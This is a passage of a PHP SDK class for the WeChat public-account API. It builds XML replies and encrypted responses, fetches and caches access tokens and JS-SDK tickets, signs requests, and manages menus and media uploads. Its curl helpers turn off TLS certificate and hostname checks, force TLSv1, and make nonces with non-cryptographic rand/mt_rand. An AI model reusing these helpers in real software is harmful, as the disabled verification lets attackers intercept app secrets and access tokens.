  815. return '<![CDATA['.preg_replace("/[\\x00-\\x08\\x0b-\\x0c\\x0e-\\x1f]/",'',$str).']]>';
  816. }
  817.  
  818. /**
  819. * 数据XML编码
  820. * @param mixed $data 数据
  821. * @return string
  822. */
  823. public static function data_to_xml($data) {
  824. $xml = '';
  825. foreach ($data as $key => $val) {
  826. is_numeric($key) && $key = "item id=\"$key\"";
  827. $xml .= "<$key>";
  828. $xml .= ( is_array($val) || is_object($val)) ? self::data_to_xml($val) : self::xmlSafeStr($val);
  829. list($key, ) = explode(' ', $key);
  830. $xml .= "</$key>";
  831. }
  832. return $xml;
  833. }
  834.  
  835. /**
  836. * XML编码
  837. * @param mixed $data 数据
  838. * @param string $root 根节点名
  839. * @param string $item 数字索引的子节点名
  840. * @param string $attr 根节点属性
  841. * @param string $id 数字索引子节点key转换的属性名
  842. * @param string $encoding 数据编码
  843. * @return string
  844. */
  845. public function xml_encode($data, $root='xml', $item='item', $attr='', $id='id', $encoding='utf-8') {
  846. if(is_array($attr)){
  847. $_attr = array();
  848. foreach ($attr as $key => $value) {
  849. $_attr[] = "{$key}=\"{$value}\"";
  850. }
  851. $attr = implode(' ', $_attr);
  852. }
  853. $attr = trim($attr);
  854. $attr = empty($attr) ? '' : " {$attr}";
  855. $xml = "<{$root}{$attr}>";
  856. $xml .= self::data_to_xml($data, $item, $id);
  857. $xml .= "</{$root}>";
  858. return $xml;
  859. }
  860.  
  861. /**
  862. * 过滤文字回复\r\n换行符
  863. * @param string $text
  864. * @return string|mixed
  865. */
  866. private function _auto_text_filter($text) {
  867. if (!$this->_text_filter) return $text;
  868. return str_replace("\r\n", "\n", $text);
  869. }
  870.  
  871. /**
  872. * 设置回复消息
  873. * Example: $obj->text('hello')->reply();
  874. * @param string $text
  875. */
  876. public function text($text='')
  877. {
  878. $FuncFlag = $this->_funcflag ? 1 : 0;
  879. $msg = array(
  880. 'ToUserName' => $this->getRevFrom(),
  881. 'FromUserName'=>$this->getRevTo(),
  882. 'MsgType'=>self::MSGTYPE_TEXT,
  883. 'Content'=>$this->_auto_text_filter($text),
  884. 'CreateTime'=>time(),
  885. 'FuncFlag'=>$FuncFlag
  886. );
  887. $this->Message($msg);
  888. return $this;
  889. }
  890. /**
  891. * 设置回复消息
  892. * Example: $obj->image('media_id')->reply();
  893. * @param string $mediaid
  894. */
  895. public function image($mediaid='')
  896. {
  897. $FuncFlag = $this->_funcflag ? 1 : 0;
  898. $msg = array(
  899. 'ToUserName' => $this->getRevFrom(),
  900. 'FromUserName'=>$this->getRevTo(),
  901. 'MsgType'=>self::MSGTYPE_IMAGE,
  902. 'Image'=>array('MediaId'=>$mediaid),
  903. 'CreateTime'=>time(),
  904. 'FuncFlag'=>$FuncFlag
  905. );
  906. $this->Message($msg);
  907. return $this;
  908. }
  909.  
  910. /**
  911. * 设置回复消息
  912. * Example: $obj->voice('media_id')->reply();
  913. * @param string $mediaid
  914. */
  915. public function voice($mediaid='')
  916. {
  917. $FuncFlag = $this->_funcflag ? 1 : 0;
  918. $msg = array(
  919. 'ToUserName' => $this->getRevFrom(),
  920. 'FromUserName'=>$this->getRevTo(),
  921. 'MsgType'=>self::MSGTYPE_VOICE,
  922. 'Voice'=>array('MediaId'=>$mediaid),
  923. 'CreateTime'=>time(),
  924. 'FuncFlag'=>$FuncFlag
  925. );
  926. $this->Message($msg);
  927. return $this;
  928. }
  929.  
  930. /**
  931. * 设置回复消息
  932. * Example: $obj->video('media_id','title','description')->reply();
  933. * @param string $mediaid
  934. */
  935. public function video($mediaid='',$title='',$description='')
  936. {
  937. $FuncFlag = $this->_funcflag ? 1 : 0;
  938. $msg = array(
  939. 'ToUserName' => $this->getRevFrom(),
  940. 'FromUserName'=>$this->getRevTo(),
  941. 'MsgType'=>self::MSGTYPE_VIDEO,
  942. 'Video'=>array(
  943. 'MediaId'=>$mediaid,
  944. 'Title'=>$title,
  945. 'Description'=>$description
  946. ),
  947. 'CreateTime'=>time(),
  948. 'FuncFlag'=>$FuncFlag
  949. );
  950. $this->Message($msg);
  951. return $this;
  952. }
  953.  
  954. /**
  955. * 设置回复音乐
  956. * @param string $title
  957. * @param string $desc
  958. * @param string $musicurl
  959. * @param string $hgmusicurl
  960. * @param string $thumbmediaid 音乐图片缩略图的媒体id,非必须
  961. */
  962. public function music($title,$desc,$musicurl,$hgmusicurl='',$thumbmediaid='') {
  963. $FuncFlag = $this->_funcflag ? 1 : 0;
  964. $msg = array(
  965. 'ToUserName' => $this->getRevFrom(),
  966. 'FromUserName'=>$this->getRevTo(),
  967. 'CreateTime'=>time(),
  968. 'MsgType'=>self::MSGTYPE_MUSIC,
  969. 'Music'=>array(
  970. 'Title'=>$title,
  971. 'Description'=>$desc,
  972. 'MusicUrl'=>$musicurl,
  973. 'HQMusicUrl'=>$hgmusicurl
  974. ),
  975. 'FuncFlag'=>$FuncFlag
  976. );
  977. if ($thumbmediaid) {
  978. $msg['Music']['ThumbMediaId'] = $thumbmediaid;
  979. }
  980. $this->Message($msg);
  981. return $this;
  982. }
  983.  
  984. /**
  985. * 设置回复图文
  986. * @param array $newsData
  987. * 数组结构:
  988. * array(
  989. * "0"=>array(
  990. * 'Title'=>'msg title',
  991. * 'Description'=>'summary text',
  992. * 'PicUrl'=>'http://www.domain.com/1.jpg',
  993. * 'Url'=>'http://www.domain.com/1.html'
  994. * ),
  995. * "1"=>....
  996. * )
  997. */
  998. public function news($newsData=array())
  999. {
  1000. $FuncFlag = $this->_funcflag ? 1 : 0;
  1001. $count = count($newsData);
  1002.  
  1003. $msg = array(
  1004. 'ToUserName' => $this->getRevFrom(),
  1005. 'FromUserName'=>$this->getRevTo(),
  1006. 'MsgType'=>self::MSGTYPE_NEWS,
  1007. 'CreateTime'=>time(),
  1008. 'ArticleCount'=>$count,
  1009. 'Articles'=>$newsData,
  1010. 'FuncFlag'=>$FuncFlag
  1011. );
  1012. $this->Message($msg);
  1013. return $this;
  1014. }
  1015.  
  1016. /**
  1017. *
  1018. * 回复微信服务器, 此函数支持链式操作
  1019. * Example: $this->text('msg tips')->reply();
  1020. * @param string $msg 要发送的信息, 默认取$this->_msg
  1021. * @param bool $return 是否返回信息而不抛出到浏览器 默认:否
  1022. */
  1023. public function reply($msg=array(),$return = false)
  1024. {
  1025. if (empty($msg)) {
  1026. if (empty($this->_msg)) //防止不先设置回复内容,直接调用reply方法导致异常
  1027. return false;
  1028. $msg = $this->_msg;
  1029. }
  1030. $xmldata= $this->xml_encode($msg);
  1031. $this->log($xmldata);
  1032. if ($this->encrypt_type == 'aes') { //如果来源消息为加密方式
  1033. $pc = new Prpcrypt($this->encodingAesKey);
  1034. $array = $pc->encrypt($xmldata, $this->appid);
  1035. $ret = $array[0];
  1036. if ($ret != 0) {
  1037. $this->log('encrypt err!');
  1038. return false;
  1039. }
  1040. $timestamp = time();
  1041. $nonce = rand(77,999)*rand(605,888)*rand(11,99);
  1042. $encrypt = $array[1];
  1043. $tmpArr = array($this->token, $timestamp, $nonce,$encrypt);//比普通公众平台多了一个加密的密文
  1044. sort($tmpArr, SORT_STRING);
  1045. $signature = implode($tmpArr);
  1046. $signature = sha1($signature);
  1047. $xmldata = $this->generate($encrypt, $signature, $timestamp, $nonce);
  1048. $this->log($xmldata);
  1049. }
  1050. if ($return)
  1051. return $xmldata;
  1052. else
  1053. echo $xmldata;
  1054. }
  1055.  
  1056. /**
  1057. * xml格式加密,仅请求为加密方式时再用
  1058. */
  1059. private function generate($encrypt, $signature, $timestamp, $nonce)
  1060. {
  1061. //格式化加密信息
  1062. $format = "<xml>
  1063. <Encrypt><![CDATA[%s]]></Encrypt>
  1064. <MsgSignature><![CDATA[%s]]></MsgSignature>
  1065. <TimeStamp>%s</TimeStamp>
  1066. <Nonce><![CDATA[%s]]></Nonce>
  1067. </xml>";
  1068. return sprintf($format, $encrypt, $signature, $timestamp, $nonce);
  1069. }
  1070.  
  1071. /**
  1072. * GET 请求
  1073. * @param string $url
  1074. */
  1075. private function http_get($url){
  1076. $oCurl = curl_init();
  1077. if(stripos($url,"https://")!==FALSE){
  1078. curl_setopt($oCurl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1079. curl_setopt($oCurl, CURLOPT_SSL_VERIFYHOST, FALSE);
  1080. curl_setopt($oCurl, CURLOPT_SSLVERSION, 1); //CURL_SSLVERSION_TLSv1
  1081. }
  1082. curl_setopt($oCurl, CURLOPT_URL, $url);
  1083. curl_setopt($oCurl, CURLOPT_RETURNTRANSFER, 1 );
  1084. $sContent = curl_exec($oCurl);
  1085. $aStatus = curl_getinfo($oCurl);
  1086. curl_close($oCurl);
  1087. if(intval($aStatus["http_code"])==200){
  1088. return $sContent;
  1089. }else{
  1090. return false;
  1091. }
  1092. }
  1093.  
  1094. /**
  1095. * POST 请求
  1096. * @param string $url
  1097. * @param array $param
  1098. * @param boolean $post_file 是否文件上传
  1099. * @return string content
  1100. */
  1101. private function http_post($url,$param,$post_file=false){
  1102. $oCurl = curl_init();
  1103. if(stripos($url,"https://")!==FALSE){
  1104. curl_setopt($oCurl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1105. curl_setopt($oCurl, CURLOPT_SSL_VERIFYHOST, false);
  1106. curl_setopt($oCurl, CURLOPT_SSLVERSION, 1); //CURL_SSLVERSION_TLSv1
  1107. }
  1108. if (is_string($param) || $post_file) {
  1109. $strPOST = $param;
  1110. } else {
  1111. $aPOST = array();
  1112. foreach($param as $key=>$val){
  1113. $aPOST[] = $key."=".urlencode($val);
  1114. }
  1115. $strPOST = join("&", $aPOST);
  1116. }
  1117. curl_setopt($oCurl, CURLOPT_URL, $url);
  1118. curl_setopt($oCurl, CURLOPT_RETURNTRANSFER, 1 );
  1119. curl_setopt($oCurl, CURLOPT_POST,true);
  1120. curl_setopt($oCurl, CURLOPT_POSTFIELDS,$strPOST);
  1121. $sContent = curl_exec($oCurl);
  1122. $aStatus = curl_getinfo($oCurl);
  1123. curl_close($oCurl);
  1124. if(intval($aStatus["http_code"])==200){
  1125. return $sContent;
  1126. }else{
  1127. return false;
  1128. }
  1129. }
  1130.  
  1131. /**
  1132. * 设置缓存,按需重载
  1133. * @param string $cachename
  1134. * @param mixed $value
  1135. * @param int $expired
  1136. * @return boolean
  1137. */
  1138. protected function setCache($cachename,$value,$expired){
  1139. //TODO: set cache implementation
  1140. return false;
  1141. }
  1142.  
  1143. /**
  1144. * 获取缓存,按需重载
  1145. * @param string $cachename
  1146. * @return mixed
  1147. */
  1148. protected function getCache($cachename){
  1149. //TODO: get cache implementation
  1150. return false;
  1151. }
  1152.  
  1153. /**
  1154. * 清除缓存,按需重载
  1155. * @param string $cachename
  1156. * @return boolean
  1157. */
  1158. protected function removeCache($cachename){
  1159. //TODO: remove cache implementation
  1160. return false;
  1161. }
  1162.  
  1163. /**
  1164. * 获取access_token
  1165. * @param string $appid 如在类初始化时已提供,则可为空
  1166. * @param string $appsecret 如在类初始化时已提供,则可为空
  1167. * @param string $token 手动指定access_token,非必要情况不建议用
  1168. */
  1169. public function checkAuth($appid='',$appsecret='',$token=''){
  1170. if (!$appid || !$appsecret) {
  1171. $appid = $this->appid;
  1172. $appsecret = $this->appsecret;
  1173. }
  1174. if ($token) { //手动指定token,优先使用
  1175. $this->access_token=$token;
  1176. return $this->access_token;
  1177. }
  1178.  
  1179. $authname = 'wechat_access_token'.$appid;
  1180. if ($rs = $this->getCache($authname)) {
  1181. $this->access_token = $rs;
  1182. return $rs;
  1183. }
  1184.  
  1185. $result = $this->http_get(self::API_URL_PREFIX.self::AUTH_URL.'appid='.$appid.'&secret='.$appsecret);
  1186. if ($result)
  1187. {
  1188. $json = json_decode($result,true);
  1189. if (!$json || isset($json['errcode'])) {
  1190. $this->errCode = $json['errcode'];
  1191. $this->errMsg = $json['errmsg'];
  1192. return false;
  1193. }
  1194. $this->access_token = $json['access_token'];
  1195. $expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;
  1196. $this->setCache($authname,$this->access_token,$expire);
  1197. return $this->access_token;
  1198. }
  1199. return false;
  1200. }
  1201.  
  1202. /**
  1203. * 删除验证数据
  1204. * @param string $appid
  1205. */
  1206. public function resetAuth($appid=''){
  1207. if (!$appid) $appid = $this->appid;
  1208. $this->access_token = '';
  1209. $authname = 'wechat_access_token'.$appid;
  1210. $this->removeCache($authname);
  1211. return true;
  1212. }
  1213.  
  1214. /**
  1215. * 删除JSAPI授权TICKET
  1216. * @param string $appid 用于多个appid时使用
  1217. */
  1218. public function resetJsTicket($appid=''){
  1219. if (!$appid) $appid = $this->appid;
  1220. $this->jsapi_ticket = '';
  1221. $authname = 'wechat_jsapi_ticket'.$appid;
  1222. $this->removeCache($authname);
  1223. return true;
  1224. }
  1225.  
  1226. /**
  1227. * 获取JSAPI授权TICKET
  1228. * @param string $appid 用于多个appid时使用,可空
  1229. * @param string $jsapi_ticket 手动指定jsapi_ticket,非必要情况不建议用
  1230. */
  1231. public function getJsTicket($appid='',$jsapi_ticket=''){
  1232. if (!$this->access_token && !$this->checkAuth()) return false;
  1233. if (!$appid) $appid = $this->appid;
  1234. if ($jsapi_ticket) { //手动指定token,优先使用
  1235. $this->jsapi_ticket = $jsapi_ticket;
  1236. return $this->jsapi_ticket;
  1237. }
  1238. $authname = 'wechat_jsapi_ticket'.$appid;
  1239. if ($rs = $this->getCache($authname)) {
  1240. $this->jsapi_ticket = $rs;
  1241. return $rs;
  1242. }
  1243. $result = $this->http_get(self::API_URL_PREFIX.self::GET_TICKET_URL.'access_token='.$this->access_token.'&type=jsapi');
  1244. if ($result)
  1245. {
  1246. $json = json_decode($result,true);
  1247. if (!$json || !empty($json['errcode'])) {
  1248. $this->errCode = $json['errcode'];
  1249. $this->errMsg = $json['errmsg'];
  1250. return false;
  1251. }
  1252. $this->jsapi_ticket = $json['ticket'];
  1253. $expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;
  1254. $this->setCache($authname,$this->jsapi_ticket,$expire);
  1255. return $this->jsapi_ticket;
  1256. }
  1257. return false;
  1258. }
  1259.  
  1260. /**
  1261. * 获取JsApi使用签名
  1262. * @param string $url 网页的URL,自动处理#及其后面部分
  1263. * @param string $timestamp 当前时间戳 (为空则自动生成)
  1264. * @param string $noncestr 随机串 (为空则自动生成)
  1265. * @param string $appid 用于多个appid时使用,可空
  1266. * @return array|bool 返回签名字串
  1267. */
  1268. public function getJsSign($url, $timestamp=0, $noncestr='', $appid=''){
  1269. if (!$this->jsapi_ticket && !$this->getJsTicket($appid) || !$url) return false;
  1270. if (!$timestamp)
  1271. $timestamp = time();
  1272. if (!$noncestr)
  1273. $noncestr = $this->generateNonceStr();
  1274. $ret = strpos($url,'#');
  1275. if ($ret)
  1276. $url = substr($url,0,$ret);
  1277. $url = trim($url);
  1278. if (empty($url))
  1279. return false;
  1280. $arrdata = array("timestamp" => $timestamp, "noncestr" => $noncestr, "url" => $url, "jsapi_ticket" => $this->jsapi_ticket);
  1281. $sign = $this->getSignature($arrdata);
  1282. if (!$sign)
  1283. return false;
  1284. $signPackage = array(
  1285. "appId" => $this->appid,
  1286. "nonceStr" => $noncestr,
  1287. "timestamp" => $timestamp,
  1288. "url" => $url,
  1289. "signature" => $sign
  1290. );
  1291. return $signPackage;
  1292. }
  1293.  
  1294. /**
  1295. * 微信api不支持中文转义的json结构
  1296. * @param array $arr
  1297. */
  1298. static function json_encode($arr) {
  1299. $parts = array ();
  1300. $is_list = false;
  1301. //Find out if the given array is a numerical array
  1302. $keys = array_keys ( $arr );
  1303. $max_length = count ( $arr ) - 1;
  1304. if (($keys [0] === 0) && ($keys [$max_length] === $max_length )) { //See if the first key is 0 and last key is length - 1
  1305. $is_list = true;
  1306. for($i = 0; $i < count ( $keys ); $i ++) { //See if each key correspondes to its position
  1307. if ($i != $keys [$i]) { //A key fails at position check.
  1308. $is_list = false; //It is an associative array.
  1309. break;
  1310. }
  1311. }
  1312. }
  1313. foreach ( $arr as $key => $value ) {
  1314. if (is_array ( $value )) { //Custom handling for arrays
  1315. if ($is_list)
  1316. $parts [] = self::json_encode ( $value ); /* :RECURSION: */
  1317. else
  1318. $parts [] = '"' . $key . '":' . self::json_encode ( $value ); /* :RECURSION: */
  1319. } else {
  1320. $str = '';
  1321. if (! $is_list)
  1322. $str = '"' . $key . '":';
  1323. //Custom handling for multiple data types
  1324. if (!is_string ( $value ) && is_numeric ( $value ) && $value<2000000000)
  1325. $str .= $value; //Numbers
  1326. elseif ($value === false)
  1327. $str .= 'false'; //The booleans
  1328. elseif ($value === true)
  1329. $str .= 'true';
  1330. else
  1331. $str .= '"' . addslashes ( $value ) . '"'; //All other things
  1332. // :TODO: Is there any more datatype we should be in the lookout for? (Object?)
  1333. $parts [] = $str;
  1334. }
  1335. }
  1336. $json = implode ( ',', $parts );
  1337. if ($is_list)
  1338. return '[' . $json . ']'; //Return numerical JSON
  1339. return '{' . $json . '}'; //Return associative JSON
  1340. }
  1341.  
  1342. /**
  1343. * 获取签名
  1344. * @param array $arrdata 签名数组
  1345. * @param string $method 签名方法
  1346. * @return boolean|string 签名值
  1347. */
  1348. public function getSignature($arrdata,$method="sha1") {
  1349. if (!function_exists($method)) return false;
  1350. ksort($arrdata);
  1351. $paramstring = "";
  1352. foreach($arrdata as $key => $value)
  1353. {
  1354. if(strlen($paramstring) == 0)
  1355. $paramstring .= $key . "=" . $value;
  1356. else
  1357. $paramstring .= "&" . $key . "=" . $value;
  1358. }
  1359. $Sign = $method($paramstring);
  1360. return $Sign;
  1361. }
  1362.  
  1363. /**
  1364. * 获取微信卡券api_ticket
  1365. * @param string $appid 用于多个appid时使用,可空
  1366. * @param string $api_ticket 手动指定api_ticket,非必要情况不建议用
  1367. */
  1368. public function getJsCardTicket($appid='',$api_ticket=''){
  1369. if (!$this->access_token && !$this->checkAuth()) return false;
  1370. if (!$appid) $appid = $this->appid;
  1371. if ($api_ticket) { //手动指定token,优先使用
  1372. $this->api_ticket = $api_ticket;
  1373. return $this->api_ticket;
  1374. }
  1375. $authname = 'wechat_api_ticket_wxcard'.$appid;
  1376. if ($rs = $this->getCache($authname)) {
  1377. $this->api_ticket = $rs;
  1378. return $rs;
  1379. }
  1380. $result = $this->http_get(self::API_URL_PREFIX.self::GET_TICKET_URL.'access_token='.$this->access_token.'&type=wx_card');
  1381. if ($result)
  1382. {
  1383. $json = json_decode($result,true);
  1384. if (!$json || !empty($json['errcode'])) {
  1385. $this->errCode = $json['errcode'];
  1386. $this->errMsg = $json['errmsg'];
  1387. return false;
  1388. }
  1389. $this->api_ticket = $json['ticket'];
  1390. $expire = $json['expires_in'] ? intval($json['expires_in'])-100 : 3600;
  1391. $this->setCache($authname,$this->api_ticket,$expire);
  1392. return $this->api_ticket;
  1393. }
  1394. return false;
  1395. }
  1396.  
  1397. /**
  1398. * 获取微信卡券签名
  1399. * @param array $arrdata 签名数组
  1400. * @param string $method 签名方法
  1401. * @return boolean|string 签名值
  1402. */
  1403. public function getTicketSignature($arrdata,$method="sha1") {
  1404. if (!function_exists($method)) return false;
  1405. $newArray = array();
  1406. foreach($arrdata as $key => $value)
  1407. {
  1408. array_push($newArray,(string)$value);
  1409. }
  1410. sort($newArray,SORT_STRING);
  1411. return $method(implode($newArray));
  1412. }
  1413.  
  1414. /**
  1415. * 生成随机字串
  1416. * @param number $length 长度,默认为16,最长为32字节
  1417. * @return string
  1418. */
  1419. public function generateNonceStr($length=16){
  1420. // 密码字符集,可任意添加你需要的字符
  1421. $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  1422. $str = "";
  1423. for($i = 0; $i < $length; $i++)
  1424. {
  1425. $str .= $chars[mt_rand(0, strlen($chars) - 1)];
  1426. }
  1427. return $str;
  1428. }
  1429.  
  1430. /**
  1431. * 获取微信服务器IP地址列表
  1432. * @return array('127.0.0.1','127.0.0.1')
  1433. */
  1434. public function getServerIp(){
  1435. if (!$this->access_token && !$this->checkAuth()) return false;
  1436. $result = $this->http_get(self::API_URL_PREFIX.self::CALLBACKSERVER_GET_URL.'access_token='.$this->access_token);
  1437. if ($result)
  1438. {
  1439. $json = json_decode($result,true);
  1440. if (!$json || isset($json['errcode'])) {
  1441. $this->errCode = $json['errcode'];
  1442. $this->errMsg = $json['errmsg'];
  1443. return false;
  1444. }
  1445. return $json['ip_list'];
  1446. }
  1447. return false;
  1448. }
  1449.  
  1450. /**
  1451. * 创建菜单(认证后的订阅号可用)
  1452. * @param array $data 菜单数组数据
  1453. * example:
  1454. * array (
  1455. * 'button' => array (
  1456. * 0 => array (
  1457. * 'name' => '扫码',
  1458. * 'sub_button' => array (
  1459. * 0 => array (
  1460. * 'type' => 'scancode_waitmsg',
  1461. * 'name' => '扫码带提示',
  1462. * 'key' => 'rselfmenu_0_0',
  1463. * ),
  1464. * 1 => array (
  1465. * 'type' => 'scancode_push',
  1466. * 'name' => '扫码推事件',
  1467. * 'key' => 'rselfmenu_0_1',
  1468. * ),
  1469. * ),
  1470. * ),
  1471. * 1 => array (
  1472. * 'name' => '发图',
  1473. * 'sub_button' => array (
  1474. * 0 => array (
  1475. * 'type' => 'pic_sysphoto',
  1476. * 'name' => '系统拍照发图',
  1477. * 'key' => 'rselfmenu_1_0',
  1478. * ),
  1479. * 1 => array (
  1480. * 'type' => 'pic_photo_or_album',
  1481. * 'name' => '拍照或者相册发图',
  1482. * 'key' => 'rselfmenu_1_1',
  1483. * )
  1484. * ),
  1485. * ),
  1486. * 2 => array (
  1487. * 'type' => 'location_select',
  1488. * 'name' => '发送位置',
  1489. * 'key' => 'rselfmenu_2_0'
  1490. * ),
  1491. * ),
  1492. * )
  1493. * type可以选择为以下几种,其中5-8除了收到菜单事件以外,还会单独收到对应类型的信息。
  1494. * 1、click:点击推事件
  1495. * 2、view:跳转URL
  1496. * 3、scancode_push:扫码推事件
  1497. * 4、scancode_waitmsg:扫码推事件且弹出“消息接收中”提示框
  1498. * 5、pic_sysphoto:弹出系统拍照发图
  1499. * 6、pic_photo_or_album:弹出拍照或者相册发图
  1500. * 7、pic_weixin:弹出微信相册发图器
  1501. * 8、location_select:弹出地理位置选择器
  1502. */
  1503. public function createMenu($data){
  1504. if (!$this->access_token && !$this->checkAuth()) return false;
  1505. $result = $this->http_post(self::API_URL_PREFIX.self::MENU_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));
  1506. if ($result)
  1507. {
  1508. $json = json_decode($result,true);
  1509. if (!$json || !empty($json['errcode'])) {
  1510. $this->errCode = $json['errcode'];
  1511. $this->errMsg = $json['errmsg'];
  1512. return false;
  1513. }
  1514. return true;
  1515. }
  1516. return false;
  1517. }
  1518.  
  1519. /**
  1520. * 获取菜单(认证后的订阅号可用)
  1521. * @return array('menu'=>array(....s))
  1522. */
  1523. public function getMenu(){
  1524. if (!$this->access_token && !$this->checkAuth()) return false;
  1525. $result = $this->http_get(self::API_URL_PREFIX.self::MENU_GET_URL.'access_token='.$this->access_token);
  1526. if ($result)
  1527. {
  1528. $json = json_decode($result,true);
  1529. if (!$json || isset($json['errcode'])) {
  1530. $this->errCode = $json['errcode'];
  1531. $this->errMsg = $json['errmsg'];
  1532. return false;
  1533. }
  1534. return $json;
  1535. }
  1536. return false;
  1537. }
  1538.  
  1539. /**
  1540. * 删除菜单(认证后的订阅号可用)
  1541. * @return boolean
  1542. */
  1543. public function deleteMenu(){
  1544. if (!$this->access_token && !$this->checkAuth()) return false;
  1545. $result = $this->http_get(self::API_URL_PREFIX.self::MENU_DELETE_URL.'access_token='.$this->access_token);
  1546. if ($result)
  1547. {
  1548. $json = json_decode($result,true);
  1549. if (!$json || !empty($json['errcode'])) {
  1550. $this->errCode = $json['errcode'];
  1551. $this->errMsg = $json['errmsg'];
  1552. return false;
  1553. }
  1554. return true;
  1555. }
  1556. return false;
  1557. }
  1558.  
  1559. /**
  1560. * 上传临时素材,有效期为3天(认证后的订阅号可用)
  1561. * 注意:上传大文件时可能需要先调用 set_time_limit(0) 避免超时
  1562. * 注意:数组的键值任意,但文件名前必须加@,使用单引号以避免本地路径斜杠被转义
  1563. * 注意:临时素材的media_id是可复用的!
  1564. * @param array $data {"media":'@Path\filename.jpg'}
  1565. * @param type 类型:图片:image 语音:voice 视频:video 缩略图:thumb
  1566. * @return boolean|array
  1567. */
  1568. public function uploadMedia($data, $type){
  1569. if (!$this->access_token && !$this->checkAuth()) return false;
  1570. //原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀
  1571. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOAD_URL.'access_token='.$this->access_token.'&type='.$type,$data,true);
  1572. if ($result)
  1573. {
  1574. $json = json_decode($result,true);
  1575. if (!$json || !empty($json['errcode'])) {
  1576. $this->errCode = $json['errcode'];
  1577. $this->errMsg = $json['errmsg'];
  1578. return false;
  1579. }
  1580. return $json;
  1581. }
  1582. return false;
  1583. }
  1584.  
  1585. /**
  1586. * 获取临时素材(认证后的订阅号可用)
  1587. * @param string $media_id 媒体文件id
  1588. * @param boolean $is_video 是否为视频文件,默认为否
  1589. * @return raw data
  1590. */
  1591. public function getMedia($media_id,$is_video=false){
  1592. if (!$this->access_token && !$this->checkAuth()) return false;
  1593. //原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀
  1594. //如果要获取的素材是视频文件时,不能使用https协议,必须更换成http协议
  1595. $url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;
  1596. $result = $this->http_get($url_prefix.self::MEDIA_GET_URL.'access_token='.$this->access_token.'&media_id='.$media_id);
  1597. if ($result)
  1598. {
  1599. if (is_string($result)) {
  1600. $json = json_decode($result,true);
  1601. if (isset($json['errcode'])) {
  1602. $this->errCode = $json['errcode'];
  1603. $this->errMsg = $json['errmsg'];
  1604. return false;
  1605. }
  1606. }
  1607. return $result;
  1608. }
  1609. return false;
  1610. }
  1611.  
  1612. /**
  1613. * 上传图片,本接口所上传的图片不占用公众号的素材库中图片数量的5000个的限制。图片仅支持jpg/png格式,大小必须在1MB以下。 (认证后的订阅号可用)
  1614. * 注意:上传大文件时可能需要先调用 set_time_limit(0) 避免超时
  1615. * 注意:数组的键值任意,但文件名前必须加@,使用单引号以避免本地路径斜杠被转义
  1616. * @param array $data {"media":'@Path\filename.jpg'}
  1617. *
  1618. * @return boolean|array
  1619. */
  1620. public function uploadImg($data){
  1621. if (!$this->access_token && !$this->checkAuth()) return false;
  1622. //原先的上传多媒体文件接口使用 self::UPLOAD_MEDIA_URL 前缀
  1623. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_UPLOADIMG_URL.'access_token='.$this->access_token,$data,true);
  1624. if ($result)
  1625. {
  1626. $json = json_decode($result,true);
  1627. if (!$json || !empty($json['errcode'])) {
  1628. $this->errCode = $json['errcode'];
  1629. $this->errMsg = $json['errmsg'];
  1630. return false;
  1631. }
  1632. return $json;
  1633. }
  1634. return false;
  1635. }
  1636.  
  1637. /**
  1638. * 上传永久素材(认证后的订阅号可用)
  1639. * 新增的永久素材也可以在公众平台官网素材管理模块中看到
  1640. * 注意:上传大文件时可能需要先调用 set_time_limit(0) 避免超时
  1641. * 注意:数组的键值任意,但文件名前必须加@,使用单引号以避免本地路径斜杠被转义
  1642. * @param array $data {"media":'@Path\filename.jpg'}
  1643. * @param type 类型:图片:image 语音:voice 视频:video 缩略图:thumb
  1644. * @param boolean $is_video 是否为视频文件,默认为否
  1645. * @param array $video_info 视频信息数组,非视频素材不需要提供 array('title'=>'视频标题','introduction'=>'描述')
  1646. * @return boolean|array
  1647. */
  1648. public function uploadForeverMedia($data, $type,$is_video=false,$video_info=array()){
  1649. if (!$this->access_token && !$this->checkAuth()) return false;
  1650. //#TODO 暂不确定此接口是否需要让视频文件走http协议
  1651. //如果要获取的素材是视频文件时,不能使用https协议,必须更换成http协议
  1652. //$url_prefix = $is_video?str_replace('https','http',self::API_URL_PREFIX):self::API_URL_PREFIX;
  1653. //当上传视频文件时,附加视频文件信息
  1654. if ($is_video) $data['description'] = self::json_encode($video_info);
  1655. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_UPLOAD_URL.'access_token='.$this->access_token.'&type='.$type,$data,true);
  1656. if ($result)
  1657. {
  1658. $json = json_decode($result,true);
  1659. if (!$json || !empty($json['errcode'])) {
  1660. $this->errCode = $json['errcode'];
  1661. $this->errMsg = $json['errmsg'];
  1662. return false;
  1663. }
  1664. return $json;
  1665. }
  1666. return false;
  1667. }
  1668.  
  1669. /**
  1670. * 上传永久图文素材(认证后的订阅号可用)
  1671. * 新增的永久素材也可以在公众平台官网素材管理模块中看到
  1672. * @param array $data 消息结构{"articles":[{...}]}
  1673. * @return boolean|array
  1674. */
  1675. public function uploadForeverArticles($data){
  1676. if (!$this->access_token && !$this->checkAuth()) return false;
  1677. $result = $this->http_post(self::API_URL_PREFIX.self::MEDIA_FOREVER_NEWS_UPLOAD_URL.'access_token='.$this->access_token,self::json_encode($data));
  1678. if ($result)
  1679. {
  1680. $json = json_decode($result,true);
  1681. if (!$json || !empty($json['errcode'])) {
  1682. $this->errCode = $json['errcode'];
  1683. $this->errMsg = $json['errmsg'];
  1684. return false;
  1685. }
  1686. return $json;
  1687. }
  1688. return false;
  1689. }
  1690.  
  1691. /**
  1692. * 修改永久图文素材(认证后的订阅号可用)
  1693. * 永久素材也可以在公众平台官网素材管理模块中看到
  1694. * @param string $media_id 图文素材id
  1695. * @param array $data 消息结构{"articles":[{...}]}
  1696. * @param int $index 更新的文章在图文素材的位置,第一篇为0,仅多图文使用
  1697. * @return boolean|array
  1698. */
  1699. public function updateForeverArticles($media_id,$data,$index=0){
  1700. if (!$this->access_token && !$this->checkAuth()) return false;
